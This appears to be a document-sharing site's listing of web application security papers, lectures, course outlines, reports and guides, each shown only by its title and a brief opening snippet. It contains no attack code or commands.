Computer security Lecture 10 Web security, Mobile security Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,...
Web application security: Testing for vulnerabilities
Web application security: Testing for vulnerabilities Using open source tools to test your site Jeff Orloff Technology Coordinator/Consultant Sequoia Media Services Inc. Skill Level: Intermediate Date:
Cross Site Scripting Prevention
Project Report CS 649 : Network Security Cross Site Scripting Prevention Under Guidance of Prof. Bernard Menezes Submitted By Neelamadhav (09305045) Raju Chinthala (09305056) Kiran Akipogu (09305074) Vijaya
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek ([email protected])
Bug Report Date: March 19, 2011 Reporter: Chris Jarabek ([email protected]) Software: Kimai Version: 0.9.1.1205 Website: http://www.kimai.org Description: Kimai is a web based time-tracking application.
Ruby on Rails Secure Coding Recommendations
Introduction Altius IT s list of Ruby on Rails Secure Coding Recommendations is based upon security best practices. This list may not be complete and Altius IT recommends this list be augmented with additional
HTTPParameter Pollution. ChrysostomosDaniel
HTTPParameter Pollution ChrysostomosDaniel Introduction Nowadays, many components from web applications are commonly run on the user s computer (such as Javascript), and not just on the application s provider
Thick Client Application Security
Thick Client Application Security Arindam Mandal ([email protected]) (http://www.paladion.net) January 2005 This paper discusses the critical vulnerabilities and corresponding risks in a two
CS5008: Internet Computing
CS5008: Internet Computing Lecture 22: Internet Security A. O Riordan, 2009, latest revision 2015 Internet Security When a computer connects to the Internet and begins communicating with others, it is
WEB SECURITY. Oriana Kondakciu 0054118 Software Engineering 4C03 Project
WEB SECURITY Oriana Kondakciu 0054118 Software Engineering 4C03 Project The Internet is a collection of networks, in which the web servers construct autonomous systems. The data routing infrastructure
BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: 10.1.1. Security Note
BlackBerry Enterprise Service 10 Secure Work Space for ios and Android Version: 10.1.1 Security Note Published: 2013-06-21 SWD-20130621110651069 Contents 1 About this guide...4 2 What is BlackBerry Enterprise
1 Introduction: Network Applications
1 Introduction: Network Applications Some Network Apps E-mail Web Instant messaging Remote login P2P file sharing Multi-user network games Streaming stored video clips Internet telephone Real-time video
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers The Website can be developed under Windows or Linux Platform. Windows Development should be use: ASP, ASP.NET 1.1/ 2.0, and
Client Server Registration Protocol
Client Server Registration Protocol The Client-Server protocol involves these following steps: 1. Login 2. Discovery phase User (Alice or Bob) has K s Server (S) has hash[pw A ].The passwords hashes are
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1 Web Applications What has changed with web applications? Traditional applications
APPLICATION SECURITY AND ITS IMPORTANCE
Table of Contents APPLICATION SECURITY AND ITS IMPORTANCE 1 ISSUES AND FIXES: 2 ISSUE: XSS VULNERABILITIES 2 ISSUE: CSRF VULNERABILITY 2 ISSUE: CROSS FRAME SCRIPTING (XSF)/CLICK JACKING 2 ISSUE: WEAK CACHE
E-commerce. Security. Learning objectives. Internet Security Issues: Overview. Managing Risk-1. Managing Risk-2. Computer Security Classifications
Learning objectives E-commerce Security Threats and Protection Mechanisms. This lecture covers internet security issues and discusses their impact on an e-commerce. Nov 19, 2004 www.dcs.bbk.ac.uk/~gmagoulas/teaching.html
Webmail Using the Hush Encryption Engine
Webmail Using the Hush Encryption Engine Introduction...2 Terms in this Document...2 Requirements...3 Architecture...3 Authentication...4 The Role of the Session...4 Steps...5 Private Key Retrieval...5
Chapter 1 Web Application (In)security 1
Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefits of Web Applications 5 Web Application Security 6 "This Site Is
Intrusion detection for web applications
Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities
E-Commerce: Designing And Creating An Online Store
E-Commerce: Designing And Creating An Online Store Introduction About Steve Green Ministries Solo Performance Artist for 19 Years. Released over 26 Records, Several Kids Movies, and Books. My History With
Web Application Attacks and Countermeasures: Case Studies from Financial Systems
Web Application Attacks and Countermeasures: Case Studies from Financial Systems Dr. Michael Liu, CISSP, Senior Application Security Consultant, HSBC Inc Overview Information Security Briefing Web Applications
(WAPT) Web Application Penetration Testing
(WAPT) Web Application Penetration Testing Module 0: Introduction 1. Introduction to the course. 2. How to get most out of the course 3. Resources you will need for the course 4. What is WAPT? Module 1:
EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.
CENTER FOR ADVANCED SECURITY TRAINING 619 Advanced SQLi Attacks and Countermeasures Make The Difference About Center of Advanced Security Training () The rapidly evolving information security landscape
ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus
ASP.NET MVC Secure Coding 4-Day hands on Course Course Syllabus Course description ASP.NET MVC Secure Coding 4-Day hands on Course Secure programming is the best defense against hackers. This multilayered
External Network & Web Application Assessment. For The XXX Group LLC October 2012
External Network & Web Application Assessment For The XXX Group LLC October 2012 This report is solely for the use of client personal. No part of it may be circulated, quoted, or reproduced for distribution
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks Whitepaper The security industry has extensively focused on protecting against malicious injection attacks like
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework [email protected] keralacyberforce.in Introduction Cross Site Scripting or XSS vulnerabilities have been reported and exploited since 1990s.
OWASP TOP 10 ILIA ALSHANETSKY @ILIAA HTTPS://JOIND.IN/15741
OWASP TOP 10 ILIA ALSHANETSKY @ILIAA HTTPS://JOIND.IN/15741 ME, MYSELF & I PHP Core Developer Author of Guide to PHP Security Security Aficionado THE CONUNDRUM USABILITY SECURITY YOU CAN HAVE ONE ;-) OPEN
Webapps Vulnerability Report
Tuesday, May 1, 2012 Webapps Vulnerability Report Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE Impact Professional during
How To Protect A Web Application From Attack From A Trusted Environment
Standard: Version: Date: Requirement: Author: PCI Data Security Standard (PCI DSS) 1.2 October 2008 6.6 PCI Security Standards Council Information Supplement: Application Reviews and Web Application Firewalls
Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified
Standard: Data Security Standard (DSS) Requirement: 6.6 Date: February 2008 Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified Release date: 2008-04-15 General PCI
Gateway Apps - Security Summary SECURITY SUMMARY
Gateway Apps - Security Summary SECURITY SUMMARY 27/02/2015 Document Status Title Harmony Security summary Author(s) Yabing Li Version V1.0 Status draft Change Record Date Author Version Change reference
MatriXay WEB Application Vulnerability Scanner V 5.0. 1. Overview. (DAS- WEBScan ) - - - - - The best WEB application assessment tool
MatriXay DAS-WEBScan MatriXay WEB Application Vulnerability Scanner V 5.0 (DAS- WEBScan ) - - - - - The best WEB application assessment tool 1. Overview MatriXay DAS- Webscan is a specific application
Web Application Firewall on SonicWALL SRA
Web Application Firewall on SonicWALL SRA Document Scope This document describes how to configure and use the Web Application Firewall feature in SonicWALL SRA 6.0. This document contains the following
Common Security Vulnerabilities in Online Payment Systems
Common Security Vulnerabilities in Online Payment Systems Author- Hitesh Malviya(Information Security analyst) Qualifications: C!EH, EC!SA, MCITP, CCNA, MCP Current Position: CEO at HCF Infosec Limited
April 11, 2011. (Revision 2)
Passive Vulnerability Scanning Overview April 11, 2011 (Revision 2) Copyright 2011. Tenable Network Security, Inc. All rights reserved. Tenable Network Security and Nessus are registered trademarks of
Web Application Penetration Testing
Web Application Penetration Testing 2010 2010 AT&T Intellectual Property. All rights reserved. AT&T and the AT&T logo are trademarks of AT&T Intellectual Property. Will Bechtel [email protected]
Nuclear Regulatory Commission Computer Security Office Computer Security Standard
Nuclear Regulatory Commission Computer Security Office Computer Security Standard Office Instruction: Office Instruction Title: CSO-STD-1108 Web Application Standard Revision Number: 1.0 Effective Date:
State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell
Stanford Computer Security Lab State of The Art: Automated Black Box Web Application Vulnerability Testing, Elie Bursztein, Divij Gupta, John Mitchell Background Web Application Vulnerability Protection
The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.
This sample report is published with prior consent of our client in view of the fact that the current release of this web application is three major releases ahead in its life cycle. Issues pointed out
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES AUTHOR: Chema Alonso Informática 64. Microsoft MVP Enterprise Security Hello and welcome to Intypedia.
Web Application Worms & Browser Insecurity
Web Application Worms & Browser Insecurity Mike Shema Welcome Background Hacking Exposed: Web Applications The Anti-Hacker Toolkit Hack Notes: Web Security Currently working at Qualys
Application Security Testing. Generic Test Strategy
Application Security Testing Generic Test Strategy Page 2 of 8 Contents 1 Introduction 3 1.1 Purpose: 3 1.2 Application Security Testing: 3 2 Audience 3 3 Test Strategy guidelines 3 3.1 Authentication
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions [email protected] Agenda Current State of Web Application Security Understanding
Session Hijacking Exploiting TCP, UDP and HTTP Sessions
Session Hijacking Exploiting TCP, UDP and HTTP Sessions Shray Kapoor [email protected] Preface With the emerging fields in e-commerce, financial and identity information are at a higher risk of being
Network Security Web Security
Network Security Web Security Anna Sperotto, Ramin Sadre Design and Analysis of Communication Systems Group University of Twente, 2012 Cross Site Scripting Cross Side Scripting (XSS) XSS is a case of (HTML)
Hack Yourself First. Troy Hunt @troyhunt troyhunt.com [email protected]
Hack Yourself First Troy Hunt @troyhunt troyhunt.com [email protected] We re gonna turn you into lean, mean hacking machines! Because if we don t, these kids are going to hack you Jake Davies, 19 (and
A Survey on Threats and Vulnerabilities of Web Services
A Survey on Threats and Vulnerabilities of Web Services A Thesis submitted in partial fulfillment of the requirements for the degree of Master of Computer Science and Engineering of Jadavpur University
